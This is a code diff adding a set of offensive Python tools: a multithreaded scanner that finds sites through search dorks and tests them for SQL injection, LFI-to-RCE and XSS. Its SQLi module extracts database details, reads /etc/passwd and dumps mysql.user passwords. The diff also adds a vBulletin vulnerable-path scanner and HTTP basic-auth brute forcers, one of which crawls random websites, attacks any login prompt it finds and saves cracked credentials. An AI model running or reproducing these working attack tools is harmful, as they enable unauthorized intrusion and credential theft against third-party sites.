+class Injthread(threading.Thread):
+	def __init__(self, hosts):
+		self.hosts = hosts
+		self.fcount = 0
+		self.check = True
+		threading.Thread.__init__(self)
+
+	def run(self):
+		urls = list(self.hosts)
+		for url in urls:
+			try:
+				if self.check:
+					classicinj(url)
+				else:
+					break
+			except(KeyboardInterrupt, ValueError):
+				pass
+		self.fcount += 1
+
+	def stop(self):
+		self.check = False
+
+
+class Lfithread(threading.Thread):
+	def __init__(self, hosts):
+		self.hosts = hosts
+		self.fcount = 0
+		self.check = True
+		threading.Thread.__init__(self)
+
+	def run(self):
+		urls = list(self.hosts)
+		for url in urls:
+			try:
+				if self.check:
+					classiclfi(url)
+				else:
+					break
+			except(KeyboardInterrupt, ValueError):
+				pass
+		self.fcount += 1
+
+	def stop(self):
+		self.check = False
+
+
+class Xssthread(threading.Thread):
+	def __init__(self, hosts):
+		self.hosts = hosts
+		self.fcount = 0
+		self.check = True
+		threading.Thread.__init__(self)
+
+	def run(self):
+		urls = list(self.hosts)
+		for url in urls:
+			try:
+				if self.check:
+					classicxss(url)
+				else:
+					break
+			except(KeyboardInterrupt, ValueError):
+				pass
+		self.fcount += 1
+
+	def stop(self):
+		self.check = False
+
+
+def classicinj(url):
+	#noinspection PyPep8Naming,PyPep8Naming
+	EXT = "'"
+	host = url + EXT
+	try:
+		source = urllib2.urlopen(host).read()
+		for type, eMSG in sqlerrors.items():
+			if re.search(eMSG, source):
+				print R + "[SQLi]:", O + host, B + "Error:", type, R + " ---> SQL Injection Found"
+				logfile.write("\n" + host)
+				vuln.append(host)
+				col.append(host)
+				break
+			else:
+				pass
+	except:
+		pass
+
+
+def classiclfi(url):
+	lfiurl = url.rsplit('=', 1)[0]
+	if lfiurl[-1] != "=":
+		lfiurl = lfiurl + "="
+	for lfi in lfis:
+		try:
+			check = urllib2.urlopen(lfiurl + lfi.replace("\n", "")).read()
+			if re.findall("root:x", check):
+				print R + "[LFI]: ", O + lfiurl + lfi, R + " ---> Local File Include Found"
+				lfi_log_file.write("\n" + lfiurl + lfi)
+				vuln.append(lfiurl + lfi)
+				target = lfiurl + lfi
+				target = target.replace("/etc/passwd", "/proc/self/environ", "/etc/passwd%00")
+				header = "<? echo md5(NovaCygni); ?>"
+				try:
+					request_web = urllib2.Request(target)
+					request_web.add_header('User-Agent', header)
+					text = urllib2.urlopen(request_web)
+					text = text.read()
+					if re.findall("7ca328e93601c940f87d01df2bbd1972", text):
+						print R + "[LFI > RCE]: ", O + target, R + " ---> LFI to RCE Found"
+						rce_log_file.write("\n", target)
+						vuln.append(target)
+				except:
+					pass
+
+		except:
+			pass
+
+
+def classicxss(url):
+	for xss in xsses:
+		if url not in vuln:
+			try:
+				source = urllib2.urlopen(url + xss.replace("\n", "")).read()
+				if re.findall("<OY1Py", source) or re.findall("<LOY2PyTRurb1c", source):
+					print R + "\r\x1b[K[XSS]: ", O + url + xss, R + " ---> XSS Found"
+					xss_log_file.write("\n" + url + xss)
+					vuln.append(url)
+			except:
+				if len(xss + url) < 147:
+					sys.stdout.write(
+					B + "\r\x1b[K [*] Testing %s%s" % (
+					url, xss))
+					sys.stdout.flush()
+
+
+def injtest():
+	global logfile
+	log = "v3n0m-sqli.txt"
+	logfile = open(log, "a")
+	print B + "\n[+] Preparing for SQLi scanning ..."
+	print "[+] Can take a while ..."
+	print "[!] Working ...\n"
+	i = len(usearch) / int(numthreads)
+	m = len(usearch) % int(numthreads)
+	z = 0
+	if len(threads) <= numthreads:
+		for x in range(0, int(numthreads)):
+			sliced = usearch[x * i:(x + 1) * i]
+			if z < m:
+				sliced.append(usearch[int(numthreads) * i + z])
+				z += 1
+			thread = Injthread(sliced)
+			thread.start()
+			threads.append(thread)
+		for thread in threads:
+			thread.join()
+
+
+def lfitest():
+	print B + "\n[+] Preparing for LFI - RCE scanning ..."
+	print "[+] Can take a while ..."
+	print "[!] Working ...\n"
+	i = len(usearch) / int(numthreads)
+	m = len(usearch) % int(numthreads)
+	z = 0
+	if len(threads) <= numthreads:
+		for x in range(0, int(numthreads)):
+			sliced = usearch[x * i:(x + 1) * i]
+			if z < m:
+				sliced.append(usearch[int(numthreads) * i + z])
+				z += 1
+			thread = Lfithread(sliced)
+			thread.start()
+			threads.append(thread)
+		for thread in threads:
+			thread.join()
+
+
+def xsstest():
+	print B + "\n[+] Preparing for XSS scanning ..."
+	print "[+] Can take a while ..."
+	print "[!] Working ...\n"
+	i = len(usearch) / int(numthreads)
+	m = len(usearch) % int(numthreads)
+	z = 0
+	if len(threads) <= numthreads:
+		for x in range(0, int(numthreads)):
+			sliced = usearch[x * i:(x + 1) * i]
+			if z < m:
+				sliced.append(usearch[int(numthreads) * i + z])
+				z += 1
+			thread = Xssthread(sliced)
+			thread.start()
+			threads.append(thread)
+		for thread in threads:
+			thread.join()
+
+def colfinder():
+	print B + "\n[+] Preparing for Column Finder ..."
+	print "[+] Can take a while ..."
+	print "[!] Working ..."
+	# Thanks rsauron for schemafuzz
+	for host in col:
+		print R + "\n[+] Target: ", O + host
+		print R + "[+] Attempting to find the number of columns ..."
+		print "[+] Testing: ",
+		checkfor = []
+		host = host.rsplit("'", 1)[0]
+		sitenew = host + arg_eva + "and" + arg_eva + "1=2" + arg_eva + "union" + arg_eva + "all" + arg_eva + "select" + arg_eva
+		makepretty = ""
+		for x in xrange(0, colMax):
+			try:
+				sys.stdout.write("%s," % x)
+				sys.stdout.flush()
+				darkc0de = "dark" + str(x) + "c0de"
+				checkfor.append(darkc0de)
+				if x > 0:
+					sitenew += ","
+				sitenew += "0x" + darkc0de.encode("hex")
+				finalurl = sitenew + arg_end
+				gets += 1
+				source = urllib2.urlopen(finalurl).read()
+				for y in checkfor:
+					colFound = re.findall(y, source)
+					if len(colFound) >= 1:
+						print "\n[+] Column length is:", len(checkfor)
+						nullcol = re.findall("\d+", y)
+						print "[+] Found null column at column #:", nullcol[0]
+						for z in xrange(0, len(checkfor)):
+							if z > 0:
+								makepretty += ","
+							makepretty += str(z)
+						site = host + arg_eva + "and" + arg_eva + "1=2" + arg_eva + "union" + arg_eva + "all" + arg_eva + "select" + arg_eva + makepretty
+						print "[+] SQLi URL:", site + arg_end
+						site = site.replace("," + nullcol[0] + ",", ",darkc0de,")
+						site = site.replace(arg_eva + nullcol[0] + ",", arg_eva + "darkc0de,")
+						site = site.replace("," + nullcol[0], ",darkc0de")
+						print "[+] darkc0de URL:", site
+						darkurl.append(site)
+
+						print "[-] Done!\n"
+						break
+
+			except(KeyboardInterrupt, SystemExit):
+				raise
+			except:
+				pass
+
+		print "\n[!] Sorry column length could not be found\n"
+	###########
+
+	print B + "\n[+] Gathering MySQL Server Configuration..."
+	for site in darkurl:
+		head_URL = site.replace("evilzone",
+								"concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)") + arg_end
+		print R + "\n[+] Target:", O + site
+		while 1:
+			try:
+				gets += 1
+				source = urllib2.urlopen(head_URL).read()
+				match = re.findall("\x1e\x1e\S+", source)
+				if len(match) >= 1:
+					match = match[0][2:].split("\x1e")
+					version = match[0]
+					user = match[1]
+					database = match[2]
+					print W + "\n\tDatabase:", database
+					print "\tUser:", user
+					print "\tVersion:", version
+					version = version[0]
+
+					load = site.replace("evilzone", "load_file(0x2f6574632f706173737764)")
+					source = urllib2.urlopen(load).read()
+					if re.findall("root:x", source):
+						load = site.replace("evilzone", "concat_ws(char(58),load_file(0x" + file.encode(
+							"hex") + "),0x62616c74617a6172)")
+						source = urllib2.urlopen(load).read()
+						search = re.findall("NovaCygni", source)
+						if len(search) > 0:
+							print "\n[!] w00t!w00t!: " + site.replace("evilzone",
+																	  "load_file(0x" + file.encode("hex") + ")")
+
+						load = site.replace("evilzone",
+											"concat_ws(char(58),user,password,0x62616c74617a6172)") + arg_eva + "from" + arg_eva + "mysql.user"
+					source = urllib2.urlopen(load).read()
+					if re.findall("NovaCygni", source):
+						print "\n[!] w00t!w00t!: " + site.replace("evilzone",
+																  "concat_ws(char(58),user,password)") + arg_eva + "from" + arg_eva + "mysql.user"
+
+				print W + "\n[+] Number of tables:", len(tables)
+				print "[+] Number of columns:", len(columns)
+				print "[+] Checking for tables and columns..."
+				target = site.replace("evilzone", "0x62616c74617a6172") + arg_eva + "from" + arg_eva + "T"
+				for table in tables:
+					try:
+						target_table = target.replace("T", table)
+						source = urllib2.urlopen(target_table).read()
+						search = re.findall("NovaCygni", source)
+						if len(search) > 0:
+							print "\n[!] Table found: < " + table + " >"
+							print "\n[+] Lets check for columns inside table < " + table + " >"
+							for column in columns:
+								try:
+									source = urllib2.urlopen(target_table.replace("0x62616c74617a6172",
+																				  "concat_ws(char(58),0x62616c74617a6172," + column + ")")).read()
+									search = re.findall("NovaCygni", source)
+									if len(search) > 0:
+										print "\t[!] Column found: < " + column + " >"
+								except(KeyboardInterrupt, SystemExit):
+									raise
+								except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout):
+									pass
+
+							print "\n[-] Done searching inside table < " + table + " > for columns!"
+
+					except(KeyboardInterrupt, SystemExit):
+						raise
+					except(urllib2.URLError, socket.gaierror, socket.error, socket.timeout):
+						pass
+				print "[!] Fuzzing is finished!"
+				break
+			except(KeyboardInterrupt, SystemExit):
+				raise
+
+def fscan():
+	global maxc
+	global usearch
+	global numthreads
+	global threads
+	global finallist
+	global col
+	global darkurl
+	global sitearray
+	global go
+
+	threads = []
+	finallist = []
+	vuln = []
+	col = []
+	darkurl = []
+	go = []
+
+	print W
+	sites = raw_input("\nChoose your target(domain)   : ")
+	sitearray = [sites]
+
+	dorks = raw_input("Choose the number of random dorks (0 for all.. may take awhile!)   : ")
+	print ""
+	if int(dorks) == 0:
+		i = 0
+		while i < len(d0rk):
+			go.append(d0rk[i])
+			i += 1
+	else:
+		i = 0
+		while i < int(dorks):
+			go.append(d0rk[i])
+			i += 1
+		for g in go:
+			print "dork: ", g
+
+	numthreads = raw_input('\nEnter no. of threads : ')
+	maxc = raw_input('Enter no. of pages   : ')
+	print "\nNumber of SQL errors :", len(sqlerrors)
+	print "LFI payloads    :", len(lfis)
+	print "XSS payloads    :", len(xsses)
+	print "Headers         :", len(header)
+	print "Threads         :", numthreads
+	print "Dorks           :", len(go)
+	print "Pages           :", maxc
+	print "Timeout         :", timeout
+	print "Search Engines  : 11"
+	print "Encrypted SE    : 3"
+	print ""
+	print ""
+
+	usearch = search(maxc)
+	vulnscan()
+
+def vulnscan():
+	global endsub
+	global lfi_log
+	global rce_log
+	global xss_log_file
+	global admin_log_file
+	global vuln
+
+	lfi_log_file = open("v3n0m-lfi.txt", "a")
+	rce_log_file = open("v3n0m-rce.txt", "a")
+	xss_log_file = open("v3n0m-xss.txt", "a")
+	admin_log_file = open("v3n0m-admin.txt", "a")
+	endsub = 0
+
+	print R + "\n[1] SQLi Testing"
+	print "[2] SQLi Testing Auto Mode"
+	print "[3] LFI - RCE Testing"
+	print "[4] XSS Testing"
+	print "[5] Save valid urls to file"
+	print "[6] Print valid urls"
+	print "[7] Print Found vuln in last scan"
+	print "[8] Back to main menu"
+
+	chce = raw_input(":")
+	if chce == '1':
+		vuln = []
+		injtest()
+		print B + "\r\x1b[K [*] Scan complete, " + O + str(len(col)) + B + " vuln sites found."
+		print
+
+	elif chce == '2':
+		vuln = []
+		injtest()
+		colfinder()
+		endsub = 0
+		print B + "\r\x1b[K [*] Scan complete, " + O + str(len(vuln)) + B + " vuln sites found."
+		print
+
+	elif chce == '3':
+		vuln = []
+		lfitest()
+		endsub = 0
+		print B + "\r\x1b[K [*] Scan complete, " + O + str(len(vuln)) + B + " vuln sites found."
+		print
+
+	elif chce == '4':
+		vuln = []
+		xsstest()
+		print B + "\r\x1b[K [*] Scan complete, " + O + str(len(vuln)) + B + " vuln sites found."
+		print
+		endsub = 0
+
+	elif chce == '5':
+		print B + "\nSaving valid urls (" + str(len(finallist)) + ") to file"
+		listname = raw_input("Filename: ")
+		list_name = open(listname, "w")
+		finallist.sort()
+		for t in finallist:
+			list_name.write(t + "\n")
+		list_name.close()
+		print "Urls saved, please check", listname
+		endsub = 0
+
+	elif chce == '6':
+		print W + "\nPrinting valid urls:\n"
+		finallist.sort()
+		for t in finallist:
+			print B + t
+		endsub = 0
+
+	elif chce == '7':
+		print B + "\nVuln found ", len(vuln)
+		print vulns
+		endsub = 0
+
+	elif chce == '8':
+		endsub = 1
+		fmenu()
+
+def fmenu():
+	global vuln
+	vuln = []
+	if endsub != 1:
+		vulnscan()
+	logo()
+	print "[1] Dork and vuln scan"
+	print "[2] Admin page finder"
+	print "[3] FTP crawler and vuln scan"
+	print "[4] DNS brute"
+	print "[0] Exit\n"
+	chce = raw_input(":")
+
+	if chce == '1':
+		print W + ""
+		fscan()
+
+	elif chce == '2':
+		afsite = raw_input("Enter the site eg target.com: ")
+		print B
+		pwd = os.path.dirname(str(os.path.realpath(__file__)))
+		findadmin = subprocess.Popen(pwd + "/modules/adminfinder.py -w modules/adminlist.txt -u " + str(afsite), shell=True)
+		findadmin.communicate()
+
+	elif chce == '3':
+		randips = raw_input("How many IP addresses do you want to scan: ")
+		print B
+		pwd = os.path.dirname(str(os.path.realpath(__file__)))
+		ftpcrawl = subprocess.Popen(pwd + "/modules/ftpcrawler.py -i " + str(randips), shell=True)
+		ftpcrawl.communicate()
+
+	elif chce == '4':
+		dnstarg = raw_input("Enter the site eg target.com: ")
+		print B
+		pwd = os.path.dirname(str(os.path.realpath(__file__)))
+		dnsbrute = subprocess.Popen(pwd + "/modules/dnsbrute.py -w modules/subdomainsmid.txt -u " + str(dnstarg), shell=True)
+		dnsbrute.communicate()
+
+	elif chce == '0':
+		print R + "\n Exiting ..."
+		mnu = False
+		print W
+		sys.exit(0)
+
+
+signal.signal(signal.SIGINT, killpid)
+d0rk = [line.strip() for line in open("statics/d0rks", 'r')]
+header = [line.strip() for line in open("statics/header", 'r')]
+xsses = [line.strip() for line in open("statics/xsses", 'r')]
+lfis = [line.strip() for line in open("statics/lfi", 'r')]
+random.shuffle(d0rk)
+random.shuffle(header)
+random.shuffle(lfis)
+
+sqlerrors = {'MySQL': 'error in your SQL syntax',
+			 'MiscError': 'mysql_fetch',
+			 'MiscError2': 'num_rows',
+			 'Oracle': 'ORA-01756',
+			 'JDBC_CFM': 'Error Executing Database Query',
+			 'JDBC_CFM2': 'SQLServer JDBC Driver',
+			 'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
+			 'MSSQL_Uqm': 'Unclosed quotation mark',
+			 'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
+			 'MS-Access_JETdb': 'Microsoft JET Database',
+			 'Error Occurred While Processing Request': 'Error Occurred While Processing Request',
+			 'Server Error': 'Server Error',
+			 'Microsoft OLE DB Provider for ODBC Drivers error': 'Microsoft OLE DB Provider for ODBC Drivers error',
+			 'Invalid Querystring': 'Invalid Querystring',
+			 'OLE DB Provider for ODBC': 'OLE DB Provider for ODBC',
+			 'VBScript Runtime': 'VBScript Runtime',
+			 'ADODB.Field': 'ADODB.Field',
+			 'BOF or EOF': 'BOF or EOF',
+			 'ADODB.Command': 'ADODB.Command',
+			 'JET Database': 'JET Database',
+			 'mysql_fetch_array()': 'mysql_fetch_array()',
+			 'Syntax error': 'Syntax error',
+			 'mysql_numrows()': 'mysql_numrows()',
+			 'GetArray()': 'GetArray()',
+			 'FetchRow()': 'FetchRow()',
+			 'Input string was not in a correct format': 'Input string was not in a correct format'}
+
+#Multithreading implementation and queueing prepared and ready, Debug support required for stability and testing
+#if __debug__:  
+#   import threading as parcomp  
+#   queueclass=Queue.Queue  
+#   workerclass=threading.Thread  
+#   NUMWORKERS=1  
+#else:  
+#   import multiprocessing as parcomp  
+#   queueclass=parcomp.Queue  
+#   workerclass=parcomp.Process  
+#   NUMWORKERS=parcomp.cpu_count()  
+
+#This is the MBCS Encoding Bypass for making MBCS encodings work on Linux - NovaCygni
+try:
+	codecs.lookup('mbcs')
+except LookupError:
+	ascii = codecs.lookup('latin-1')
+	func = lambda name, enc=ascii: {True: enc}.get(name == 'mbcs')
+	codecs.register(func)
+
+# Colours
+W = "\033[0m"
+R = "\033[31m"
+G = "\033[32m"
+O = "\033[33m"
+B = "\033[34m"
+
+subprocess.call("clear", shell=True)
+arg_end = "--"
+arg_eva = "+"
+colMax = 60 # Change this at your will
+endsub = 1
+gets = 0
+timeout = 8
+file = "/etc/passwd"
+socket.setdefaulttimeout(timeout)
+menu = True
+
+while True:
+	fmenu()
diff --git a/3rdparty/vbscan.py b/3rdparty/vbscan.py
new file mode 100644
index 0000000..b7bba53
--- /dev/null
+++ b/3rdparty/vbscan.py
@@ -0,0 +1,152 @@
+#!/usr/bin/python
+#This is a vBulletin scanner, searches if vulnerable paths
+#exist, also prints version if found. Put vbvuln.txt in the dir
+#at which you are running this script.
+#Every path in vbvuln.txt has a vuln. or an exploit for it.
+#(considering its the right version)
+
+#Changelog: added update function
+
+#http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, httplib, time, urllib, re
+
+def getserv(path):
+
+	try:
+		h = httplib.HTTP(host+":"+port)
+		h.putrequest("HEAD", path)
+		h.putheader("Host", host)
+		h.endheaders()
+		status, reason, headers = h.getreply()
+	except: 
+		print "\n[-] Error: Name or service not known. Check your host.\n"
+		sys.exit(1)
+	return status, reason, headers.get("Server")
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def getver(path):
+	site = urllib.urlopen("http://"+host+path).read()
+	version = re.findall("version \d+\.\d+\..", site.lower())
+	if version:
+		return version[0]
+	else:
+		return None
+
+def update():
+	try:
+		lines = open("vbvuln.txt", "r").readlines()
+	except(IOError): 
+ 		print "[-] Error: Check your phpvuln.txt path and permissions"
+		print "[-] Update Failed\n"
+		sys.exit(1)
+	try:
+		paths = urllib.urlopen("http://www.darkc0de.com/scanners/vbvuln.txt").readlines()
+	except:
+		print "[-] Error: Couldn't connect to remote database"
+		print "[-] Update Failed\n"
+		sys.exit(1)
+	if len(paths) > len(lines):
+		dif = int(len(paths)-len(lines))
+		print "[+] Found:",dif,"updates"
+		print "\n[+] Writing Updates"
+		file = open("vbvuln.txt", "a")
+		for path in paths[-dif:]:
+			if path[-1:] == "\n":
+				path = path[:-1]
+			print "[+] New:",path
+			file.writelines(path+"\n")
+		file.close()
+		print "\n[+] Update Complete\n"
+	else:
+		print "[-] No Updates Available\n"
+	sys.exit(1)
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com vBulletinScan v1.1"
+	print "\t--------------------------------------------------"
+
+if len(sys.argv) >= 5 or len(sys.argv) == 1:
+	title()
+	print "\n\t[+] Usage: ./vbscan.py <host> <port>\n"
+	print "\t[options]"
+	print "\t   -v/-verbose : Shows all http requests and responses"
+	print "\t   -u/-update : Updates vbvuln.txt with the latest"
+	print "\n\t[+] Ex. ./vbscan.py -update"
+	print "\t[+] Ex. ./vbscan.py google.com 80 -verbose\n"
+	sys.exit(1)
+
+title()
+
+if sys.argv[1].lower() == "-u" or sys.argv[1].lower() == "-update":
+	print "\n[+] Updating Database File"
+	update()
+	
+host = sys.argv[1]
+port = sys.argv[2]
+
+for arg in sys.argv[1:]:
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+	else:
+		verbose = 0
+
+if host[:7] == "http://":
+	host = host.replace("http://","")
+if host[-1] == "/":
+	host = host[:-1]
+	
+print "[+] Getting responses" 
+okresp,reason,server = getserv("/")
+badresp = getserv("/d3hydr8.html")[:1]
+
+if okresp == badresp[0]:
+	print "\n[-] Responses matched, try another host.\n"
+	sys.exit(1)
+else:
+	print "\n[+] Target host:",host
+	print "[+] Target port:",port
+	print "[+] Target server:",server
+	print "[+] Target version:",getver("/")
+	print "[+] Target OK response:",okresp
+	print "[+] Target BAD response:",badresp[0], reason
+	print "[+] Scan Started at",timer()
+	if verbose ==1:
+		print "\n[+] Verbose Mode On"
+
+dirs = ["/","/vb/","vb3","/vBulletin/","/Bulletin/","/forum/","/forums/"]
+
+try:
+	lines = open("vbvuln.txt", "r").readlines()
+	print "\n[+]",len(lines)*len(dirs),"paths loaded\n"
+except(IOError): 
+ 	print "[-] Error: Check your vulnerabilities list path\n"
+	sys.exit(1)
+
+vulns = []
+print "[+] Scanning...\n" 
+for d in dirs:
+	for line in lines:
+		status, reason = getserv(d+line[:-1])[:2]
+		if verbose ==1:
+			print "[+]",status,reason,":",d+line,"\n"
+		if status == okresp:
+			print "[+] Found vBulletin:",getver(d+line)
+			vulns.append(d+line)
+			print "\t[!]",status,reason,":",d+line,"\n"
+		if status == int(401):
+			print "\t[!]",status,reason,":Needs Authentication [",d+line,"]\n"
+		
+if len(vulns) == 0:
+	print "[-] Couldn't find any vuln. paths\n"
+else:
+	print "[!] Found",len(vulns),"possible vulnerabilities, check manually.\n"
+	for vuln in vulns:
+		print "\t[+] ",vuln
+print "\n[+] Scan completed at", timer(),"\n"
+
+	
\ No newline at end of file
diff --git a/3rdparty/webauthbrute.py b/3rdparty/webauthbrute.py
new file mode 100644
index 0000000..20d6733
--- /dev/null
+++ b/3rdparty/webauthbrute.py
@@ -0,0 +1,108 @@
+#!usr/bin/python
+#Pop-up Basic Authentication Brute Forcer
+#Not fully tested, encourage feedback.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, urllib2, socket, httplib
+from copy import copy
+
+if len(sys.argv) !=4:
+	print "Usage: ./webauthbrute.py <server> <userlist> <wordlist>"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])		
+	else:
+		print "\nReloading Wordlist - Changing User\n"
+		reloader()
+		value = random.sample(words,  1)
+		users.remove(users[0])
+		
+	lock.release()
+	if len(users) ==1:
+		return users[0], value[0][:-1]
+	else:
+		return users[0][:-1], value[0][:-1] 
+
+def getauth(url):
+	
+	req = urllib2.Request(url)
+	try:
+    		handle = urllib2.urlopen(req)
+	except IOError, e:                  
+    		pass
+	else:                               
+    		print "This page isn't protected by basic authentication.\n"
+    		sys.exit(1)
+    
+	if not hasattr(e, 'code') or e.code != 401:                 
+    		print "\nThis page isn't protected by basic authentication."
+    		print 'But we failed for another reason.\n'
+    		sys.exit(1)
+
+	authline = e.headers.get('www-authenticate', '')    
+          
+	if not authline:
+    		print '\nA 401 error without an basic authentication response header - very weird.\n'
+    		sys.exit(1)
+	else:
+		return authline
+			
+class Worker(threading.Thread):
+	
+	def run(self):
+		username, password = getword()
+		try:
+			print "-"*12
+			print "User:",username,"Password:",password
+			req = urllib2.Request(sys.argv[1])
+			passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
+			passman.add_password(None, sys.argv[1], username, password)
+			authhandler = urllib2.HTTPBasicAuthHandler(passman)
+			opener = urllib2.build_opener(authhandler)
+			fd = opener.open(req)
+			print "\t\n\nUsername:",username,"Password:",password,"----- Login successful!!!\n\n"			
+			print "Retrieved", fd.geturl()
+			info = fd.info()
+			for key, value in info.items():
+    				print "%s = %s" % (key, value)
+			sys.exit(2)
+		except (urllib2.HTTPError, httplib.BadStatusLine,socket.error), msg: 
+			print "An error occurred:", msg
+			pass
+
+print "\n\t   d3hydr8[at]gmail[dot]com webauthBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Server:",sys.argv[1]
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+print "[+]",getauth(sys.argv[1]),"\n"
+
+for i in range(len(words)*len(users)):
+	work = Worker()
+	work.setDaemon(1)
+	work.start()
+	time.sleep(1)
diff --git a/3rdparty/webauthbrute_random.py b/3rdparty/webauthbrute_random.py
new file mode 100644
index 0000000..931ba60
--- /dev/null
+++ b/3rdparty/webauthbrute_random.py
@@ -0,0 +1,173 @@
+#!usr/bin/python
+#Pop-up Basic Authentication Random Brute Forcer
+#It will scan for 401 authentication, brute force and save 
+#successfull logins to a file.
+#Not fully tested, encourage feedback.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, urllib2, httplib, re, socket
+from copy import copy
+
+if len(sys.argv) !=6:
+	print "\nUsage: ./webauthbrute_random.py <start website> <userlist> <wordlist> <how many> <file to save logins>\n"
+	print "Ex: ./webauthbrute_random.py www.busywebsite.com users.txt words.txt 100 logins.txt\n"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[2], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+wordlist = copy(words)
+hits = 0
+logins = 0
+
+def geturls(url):
+	
+	try:
+		print "[+] Collecting:",url
+		page = urllib2.urlopen(url).read()
+		links = re.findall(('http://\w+.\w+\.\w+[/\w+.]*[/.]\w+'), page)
+		for link in links:
+			if link not in urls and link[-3:].lower() not in ("gif","jpg","png","ico"):
+				urls.append(link)
+	except(IOError,TypeError,AttributeError,httplib.BadStatusLine,socket.error): pass
+	return urls
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])		
+	else:
+		print "\nReloading Wordlist - Changing User\n"
+		reloader()
+		value = random.sample(words,  1)
+		users.remove(users[0])
+		
+	lock.release()
+	if len(users) ==1:
+		return users[0], value[0][:-1]
+	else:
+		return users[0][:-1], value[0][:-1] 
+
+def getauth(site):
+	
+	print "[-] Checking Authentication:",site
+	global hits
+	try:
+		req = urllib2.Request(site)
+		handle = urllib2.urlopen(req)
+		if site in urls:
+			print "Removing:",site
+			urls.remove(site)
+	except(IOError,urllib2.URLError,urllib2.HTTPError,httplib.BadStatusLine,socket.error), msg:
+			print "\t- Got:",msg,"\n"
+			try:
+				if hasattr(msg, 'code') or msg.code == 401:
+					authline = msg.headers.get('www-authenticate', '')
+					if authline:
+						print "[+]",authline
+						print "[+] Found site using basic authentication"
+						print "[+] Attempting Brute Force on",site,"\n"
+						hits +=1
+						for i in range(len(words)*len(users)):
+							work = threading.Thread()
+							work.setDaemon(1)
+							work.start()
+							threader(site)
+							time.sleep(1)
+			except(AttributeError):
+				pass
+	else: 
+		print "\t- Got: 200\n"
+				
+def threader(site):
+	username, password = getword()
+	global logins
+	try:
+		print "-"*12
+		print "User:",username,"Password:",password
+		req = urllib2.Request(site)
+		passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
+		passman.add_password(None, site, username, password)
+		authhandler = urllib2.HTTPBasicAuthHandler(passman)
+		opener = urllib2.build_opener(authhandler)
+		fd = opener.open(req)
+		site = urllib2.urlopen(fd.geturl()).read()
+		print "\n[+] Checking the authenticity of the login...\n"
+		if not re.search(('denied'), site.lower()):
+			print "\t\n\n[+] Username:",username,"Password:",password,"----- Login successful!!!\n\n"
+			print "[+] Writing Successful Login:",sys.argv[5],"\n"
+			logins +=1
+			file = open(sys.argv[5], "a")
+			file.writelines("Site: "+site+" Username: "+username+ " Password: "+password+"\n")
+			file.close()			
+			print "Retrieved", fd.geturl()
+			info = fd.info()
+			for key, value in info.items():
+    				print "%s = %s" % (key, value)
+		else: 
+			print "- Redirection"
+	except (urllib2.HTTPError, httplib.BadStatusLine,socket.error), msg: 
+		print "An error occurred:", msg
+		pass
+
+def giddyup(start):
+	if start[:7] != "http://":
+		start = "http://"+start	
+	urls = geturls(start)
+	for x in range(1,int(sys.argv[4])):
+		print "- Destination:",x,"of",int(sys.argv[4])
+		if len(urls) < 5000:
+			urls = geturls(random.choice(urls))
+			print "- Collected:",len(urls)
+			site = random.choice(urls)
+			getauth(site)
+			for i in range(2,site.count('/')):
+				site = site.rpartition('/')[0]
+				getauth(site)
+		else:
+			for url in urls[1:2500]:
+				urls.remove(url)
+			
+urls = []
+start = sys.argv[1]
+
+print "\n\t d3hydr8[at]gmail[dot]com WebauthBruteForcer v1.0"
+print "\t--------------------------------------------------\n"
+print "[+] Starter:",start
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+print "[+] Scanning:",sys.argv[4]
+print "[+] Logins File:",sys.argv[5],"\n"
+
+time.sleep(5)
+giddyup(start)
+
+while start:
+	print "\n\nFound",hits,"sites using basic authentication."
+	print "Logins Reported:",logins
+	start = raw_input("Enter new starting site or Press enter to exit: ")
+	if start: 
+		giddyup(start)	
+if hits >= 1:
+	print "\n\nFound:",hits,"brute forced\n"
+if logins >= 1:
+	print "Check:",sys.argv[5]	
+print "\n[+] Done\n"
+	
+
diff --git a/3rdparty/webauthbrute_random_usersupport.py b/3rdparty/webauthbrute_random_usersupport.py
new file mode 100644
index 0000000..4a895fc
--- /dev/null
+++ b/3rdparty/webauthbrute_random_usersupport.py
@@ -0,0 +1,237 @@
+#!usr/bin/python
+#Pop-up Basic Authentication Random Brute Forcer + user loopup
+#It will scan for 401 authentication, collect users from google, brute force and save 
+#successfull logins to a file.
+#Not fully tested, encourage feedback.
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, urllib2, httplib, re, socket
+from copy import copy
+
+if len(sys.argv) !=6:
+	print "\nUsage: ./webauthbrute_random.py <start website> <userlist> <wordlist> <how many> <file to save logins>\n"
+	print "Ex: ./webauthbrute_random.py www.busywebsite.com users.txt words.txt 100 logins.txt\n"
+	sys.exit(1)
+
